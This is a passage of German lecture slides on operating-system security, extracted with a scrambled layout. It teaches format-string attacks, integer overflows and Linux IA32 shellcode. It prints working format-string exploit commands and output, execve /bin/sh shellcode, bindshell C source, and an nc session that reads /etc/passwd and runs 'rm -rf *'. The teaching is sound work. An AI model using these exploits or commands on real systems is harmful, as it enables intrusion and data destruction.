Parameter von printf() Adresse von A /* The right way to print user-controlled input: */ printf("The right way:\n"); printf("%s", text); Wert von A Adresse des fmtstring <RET> /* The wrong way to print user-controlled input: */ printf("\nThe wrong way:\n"); printf(text); SP printf("\n"); /* Debug output */ printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); return 0; Low } 73 / 109 74 / 109 bisschen ausprobieren . . . Gezieltes Auslesen einer Adresse deadbeef.c robge@hadrian$ ./fmt_vuln Ni%x The right way: Ni%x The wrong way: Nibffff3e4 #include <stdio.h> int main(void) { printf ("\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|") ; return 0; } (im Datensegment) robge@hadrian$ ./fmt_vuln ‘perl -e ’print "%08x."x40;’‘ The right way: 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. The wrong way: bffff334.b7ff3de7.b80016a4.bffff750.78383025.3830252e.30252e78.252e7838.2e783830. 78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838. 2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78. 252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e. 30252e78.252e7838.2e783830.78383025. [*] test_val @ 0x08049794 = -72 0xffffffb8 I "\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|" SP += 4 Argument des printf()−Rufs <RET> sfp Low Stack auslesbar Abbildung: Zustand des Stacks nach Eintritt in printf() 76 / 109 Auslesen mittels fmt_vuln %08x-Platzhalter bewegen SP so weit, bis fmt-string (1. Argument des printf()-Rufes) TOS ist $ ./fmt_vuln ‘printf "\x89\xfd\xff\xbf"‘%x%x%x%x:%s: The right way: ýÿ¿%x%x%x%x:%s: The wrong way: ýÿ¿bffff3f4b7ff3de7b80016a4bffff810:PATH=/usr/local/bin: /usr/bin:/bin:/usr/bin/X11:/usr/games:~/bin:/opt/uClinux /bfin-elf/bin/:/opt/uClinux/bfin-uclinux/bin:/opt/uClinu x/bfin-linux-uclibc/bin: %s-Platzhalter gibt Zeichenkette aus, die durch TOS referenziert wird → Dump (im Beispiel) des Speicherinhalts ab Adresse 0xdeadbeef → beliebige Adressen als Zeichenketten-Dump auslesbar I Zeichenkette ab Adresse 0xdeadbeef wird mittels %s ausgegeben. SP Gezieltes Auslesen I FP local vars 75 / 109 I fmt−string Beendigung bei Lesen eines ’\0’-Bytes 77 / 109 78 / 109 13 Beschreiben beliebiger Adressen Schreiben beliebiger Werte fmtstring-ex2.c #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, ’\x00’, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1 */ printf("%16u%n", 7350, (int*) &foo[0]); /* 2 */ printf("%32u%n", 7350, (int*) &foo[1]); /* 3 */ printf("%64u%n", 7350, (int*) &foo[2]); /* 4 */ printf("%128u%n", 7350, (int*) &foo[3]); /* 5 after */ printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); return 0; } Idee: gleiche Technik wie beim Auslesen, jedoch Beschreiben mittels ’%n’-Platzhalter: $ ./fmt_vuln ‘printf "\x94\x97\x04\x08"‘%x.%x.%x.%x%n The right way: x.%x.%x.%x%n The wrong way: bffff3e4.b7ff3de7.b80016a4.bffff800 [*] test_val @ 0x08049794 = 39 0x00000027 Problem: geschriebener Wert hängt von Anzahl ausgegebener Zeichen ab Idee: Beeinflussung mittels Feldbreite-Option 79 / 109 Ablauf der Schreibzugriffe beim Schreiben beliebiger Werte [0] 80 / 109 Anmerkungen foo canary [1] [2] [3] [0] [1] [2] [3] [4] I 1 Byte pro printf()-Aufruf geschrieben I unmittelbar davor befindliche 3 Bytes werden mit dieser Technik überschrieben (hier: Variable canary) /* 0 */ 0x00 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 1 */ 0x10 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 I Voraussetzung: unausgerichteter Schreibzugriff möglich /* 2 */ 0x10 0x20 0x00 0x00 0x00 0x41 0x41 0x41 0x00 I in ein- und demselben Formatstring können offenbar nur aufsteigende Werte geschrieben werden (warum?) /* 3 */ 0x10 0x20 0x40 0x00 0x00 0x00 0x41 0x41 0x00 /* 4 */ 0x10 0x20 0x40 0x80 0x00 0x00 0x00 0x41 0x00 81 / 109 82 / 109 Schreiben beliebiger Werte in einem Formatstring Schreiben ohne Monotonie fmtstring-ex3.c #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, ’\x00’, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1-4 in one string */ printf("%16u%n%16u%n%32u%n%64u%n", 1 , (int*) &foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &foo[3]); /* 5 after */ printf("\nfoo: %02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); return 0; } I Subtraktion bei %n-Platzhalter unmöglich I Wert wrappt jedoch um (Byte) für das vorige Beispiel also printf("%128u%n%192u%n%224u%n%240u%n", 1 , (int*) & foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) & foo[3]); , um 0x80402010 in die Variable foo zu schreiben 83 / 109 84 / 109 14 Schreiben ohne Monotonie, Beispiel 2 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } $ ./fmt_vuln ‘printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08 JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08"‘%x%x%x%169x%n%23 9x%n%239x%n%239x%n The right way: JUNJUNJUN%x%x%x%169x%n%239x%n%239x%n%239x%n The wrong way: JUNJUNJUNbffff3b4b7ff3de7b80016a4 [*] test_val @ 0x08049794 = -1430532899 0xaabbccdd I durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden I Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command: ... %200d<nops><shellcode> I klassischer Buffer Overflow möglich 85 / 109 86 / 109 Verwundbares Programm, die zweite Gegenmaßnahmen gegen Formatstring-Angriff fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } I durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden I Beispiel: user = "%200d<nops><shellcode>" I Niemals nutzergenerierte Zeichenketten als Formatstring interpretieren! I GCC kennt (neuerdings) verschiedene Schalter, die potentiell gefährliche printf()-Aufrufe entdecken: gcc -Wformat -Wformat-security fmt_vuln.c fmt_vuln.c: In function ’main’: fmt_vuln.c:22: warning: format not a string literal and no format arguments fmt_vuln.c:26: warning: format ’%08x’ expects type ’unsigned int’, but argument 2 has type ’int *’ buffer = ERR Wrong Command: ... %200d<nops><shellcode> I klassischer Buffer Overflow möglich 87 / 109 88 / 109 Formatstring-Angriffe Leseempfehlungen Zusammenfassung Ziel: printf()-Familie Angriffsidee: I Manipulation des Formatstring (Anzahl und Art der Platzhalter) Formen des Angriffs: I Provokation eines Absturzes (DoS) I Ausspähen des Hauptspeichers I gezielte Schreibzugriffe mittels ’%n’-Platzhalter Im Gegensatz zum Buffer Overflow kann mittels Formatstring-Attacke eine beliebige Adresse manipuliert werden! Erster publizierter Angriff: http://seclists.org/bugtraq/1999/Sep/0328.html 89 / 109 I Jon Erickson. Hacking: The Art of Exploitation. 2. Aufl. No Starch Press, 2008 I “Solar Designer”. Getting around non-executable stack (and fix). Mail to BugTraq Mailinglist. Aug. 1997 I “scut/team teso”. Exploiting Format String Vulnerabilities. Sep. 2001 I “gera” and “riq”. “Advances in format string exploitation”. In: Phrack 11.59 (Juli 2002). URL: http: //www.phrack.org/issues/59/7.html#article 90 / 109 15 Heap-Overflow I Idee: Manipulation von auf dem Heap angelegten Variablen durch das Überfluten eines unmittelbar davor gelegenen Puffers I keine Rückkehradresse → implizite Manipulation des Programmflusses unmöglich I Reihenfolge der Adressen abhängig von Allokationsreihenfolge I Exploit weniger regulär (abhängig vom Typ der manipulierten Information) Integer-Overflow Idee: Überlauf des Zahlenbereichs von Integervariablen führt zu negativen Zahlen, die in Vergleichsoperationen und als Funktionsargumente unterschiedlich interpretiert werden. I kein Schadcode ausführbar I Ziel: DoS Literatur: “blexim”. “Basic Integer Overflows”. In: Phrack 11.60 (Dez. 2002). URL: http: //www.phrack.org/issues/60/10.html#article 92 / 109 91 / 109 Integer-Overflow Beispiel int copybuffer (char *buffer, int len) { char mybuffer[800]; if (len > sizeof(mybuffer)) { return -1; } return memcpy(mybuffer, buffer, len); } Angriffscode Typisches Beispiel eines Vorzeichen-Bugs Analyse: I memcpy erwartet unsigned int als 3. Parameter I negatives len durch Test nicht erkannt I → wird als (sehr große) Längenangabe interpretiert I Überlauf von mybuffer 93 / 109 94 / 109 Shellcode Shellcode – Merkmale Motivation „The best way to develop your skill in detecting and securing against shellcode is to first master the art of writing it.“ (Foster, S. 56) Literatur: I James C. Foster u. a. Buffer Overflow Attacks. Syngress, Feb. 2005, Chapter 3 I Chris Anley u. a. The Shellcoder’s Handbook. 2. Aufl. Wiley, Aug. 2007 I “smiler”. The Art of Writing Shellcode. o. J. I http://www.shell-storm.org/shellcode/ I = Code, der in ein Programm (nachträglich und illegal) eingefügt und ausgeführt wird I Angriffscode für verschiedene Attacken I in Assembler programmiert (Warum?) I sehr klein (Size matters!) I effizient I sehr system- und architekturspezifisch I Einsatz von Systemrufen oder libc-Funktionen I keine Fehlerprüfung: entweder es geht oder nicht (hier: Beschränkung auf IA32 unter Linux ; die Prinzipien unter Windows differieren teilweise erheblich, vgl. Anley at al) 95 / 109 96 / 109 16 Systemruf Prinzip eines Systemrufs I BS bietet dem Programmierer Funktionen, diese werden über Systemrufe zur Verfügung gestellt I Gesamtheit aller Systemrufe eines BS ist dessen Application Programmer’s Interface (API) I Nutzung analog den Funktionen einer Bibliothek mit einem Unterschied: Diensterbringung erfolgt im Kernel Mode I → gewöhnlicher Funktionsaufruf als Mechanismus unbrauchbar! I Systemrufe können blockieren! I Beispiele: fork(), read(), mmap(), semget() User Mode Kernel Mode Applikation Betriebssystem f Systemru System− dienst 98 / 109 97 / 109 Prinzipieller Ablauf beim Systemruf read() Ablauf von WriteFile() in Windows 2000/XP/Vista Win32 application count = read(fd, buffer, nbytes); Call WriteFile(...) user space KERNEL32.DLL Call NtWriteFile() Return to Caller NtWriteFile() in NTDLL.DLL int 0x2e Return to Caller WriteFile() in return to caller library call TRAP into kernel 5 put # for read in register 10 4 11 Win32− specific Used by all subsystems 9 adjust stack 6 User Mode call read 3 user program push fd 2 push &buffer 1 push nbytes Kernel Mode Software Interrupt SystemService in NTOSKRNL.EXE kernel space dispatch syscall 7 8 syscall handler NtWriteFile() in NTOSKRNL.EXE Call NtWriteFile() Dismiss Interrupt Do the Operation Return to Caller (David Solomon: Inside Windows 2000, Microsoft Press) 99 / 109 Was geschieht bei einem Linux-Systemruf? 100 / 109 Beispiel Architektur: IA32 (aka Intel-PC) robge@hadrian:~$ cat exit.c #include <stdlib.h> I Systemrufnummer in EAX I Argumente in EBX, ECX, EDX, ESI, EDI, EBP (in dieser Reihenfolge) I Systemeintritt durch int 0x80 I (Systemdienst wird im Kernelmode ausgeführt) I Resultatwert in EAX I Systemaustritt mittels iret int main(void) { exit(0); } robge@hadrian:~$ gcc -static -o exit exit.c robge@hadrian:~$ objdump -d exit ... 0804db7c <_exit>: 804db7c: 8b 5c 24 04 mov 0x4(%esp),%ebx 804db80: b8 fc 00 00 00 mov $0xfc,%eax 804db85: cd 80 int $0x80 804db87: b8 01 00 00 00 mov $0x1,%eax 804db8c: cd 80 int $0x80 804db8e: f4 hlt 804db8f: 90 nop ... Systemrufnummern: http://asm.sourceforge.net/syscall.html 101 / 109 102 / 109 17 „Hello, world!“ als Shellcode Beispiel: Aufruf einer Shell .text .global _start _start: code: xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx jmp string /* push string addr */ pop %ecx movb $01, %bl movb $15, %dl movb $04, %al int $0x80 decb %bl movb $01,%al int $0x80 /* /* /* /* I „Klassiker“, tausende Varianten I nutzen typischerweise execve in folgender Manier: # i n c l u d e < s t d i o . h> i n t main ( v o i d ) { char ∗cmd = "/bin/sh" ; char ∗ args [ 2 ] ; ecx <-- string addr */ filedesc, stdout */ string lgth */ ’write(stdout, addr, lgth)’ */ args [ 0 ] = "robixd" ; args [ 1 ] = NULL ; /* ’exit(0)’ */ } string: execve ( cmd , args , NULL ) ; call code .ascii "Hello, world!\x0a\x00" 104 / 109 103 / 109 Aufruf einer Shell Bindung der Shell an einen Port Nachbau in Assembler Implementierung in C # i n c l u d e < n e t i n e t / i n . h> .text .global _start i n t soc , c l i ; s t r u c t s o c k a dd r _ in serv_addr ; _start: jmp callit i n t main ( ) { serv_addr . s i n _ f a m i l y =2; serv_addr . s i n _ a d d r . s_addr =0; serv_addr . s i n _ p o r t =0xAAAA ; doit: popl %ebx xorl %eax, %eax cdq movb %al, 7(%ebx) movl %ebx, 8(%ebx) movl %eax, 12(%ebx) leal 8(%ebx),%ecx movb $0x0b, %al int $0x80 /*1* ebx <-- &"/bin/sh" */ /* eax <-- 0 */ /* edx:eax <-- eax */ /*2* zeroterminate "/bin/sh" */ /*3* args[0] = &"/bin/sh" */ /*4* args[1] = NULL */ /*5* ecx <-- &args */ /* execve() */ callit: call doit .ascii "/bin/sh" } 105 / 109 „Anwendungsbeispiel“ für Bindshell I I I 106 / 109 Weiterführende Aspekte robge@idir:~$ nc 192.168.178.21 43690 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ... rm -rf * ... exit I soc= s o c k e t ( 2 , 1 , 0 ) ; b i n d ( soc , ( s t r u c t sockaddr ∗ )&serv_addr , 0 x10 ) ; l i s t e n ( soc , 1 ) ; c l i = accept ( soc , 0 , 0 ) ; dup2 ( c l i , 0 ) ; dup2 ( c l i , 1 ) ; dup2 ( c l i , 2 ) ; execve ( "/bin/sh" , 0 , 0 ) ; dup2() ersetzt die stdin, stdout und stderr mit cli Achtung! Das ist eine Backdoor. Syscall-Folge: socket() → bind() → listen() → accept() → dup2() (3x) →execve() I Reverse Connection Shellcode – angegriffener Rechner initiiert Verbindung I Socket Reusing – Erraten des Filedeskriptors eines bereits im angegriffenen Programm eröffneten Sockets und Nutzung desselben I Shellcode, der toupper() oder tolower() unbeschadet übersteht I Windows-Shellcode I Encoding Shellcode I Shellcode für mehrere Systeme (z. B. Linux und *BSD) benötigt < 100 Bytes in Assembler (!) 107 / 109 108 / 109 18 Was haben wir gelernt? I Grundbegriffe der BS-Sicherheit I (sichere) Implementierung von Authentifizierungsmechanismen I Buffer Overflow und Gegenmaßnahmen: Stackguard, Stackshield, W⊕X, ASLR I Return-into-Libc-Exploit I Format-String-Attacken I Was ist eine Bindshell? I Fazit: Das ist erst der Anfang der Thematik! 109 / 109 19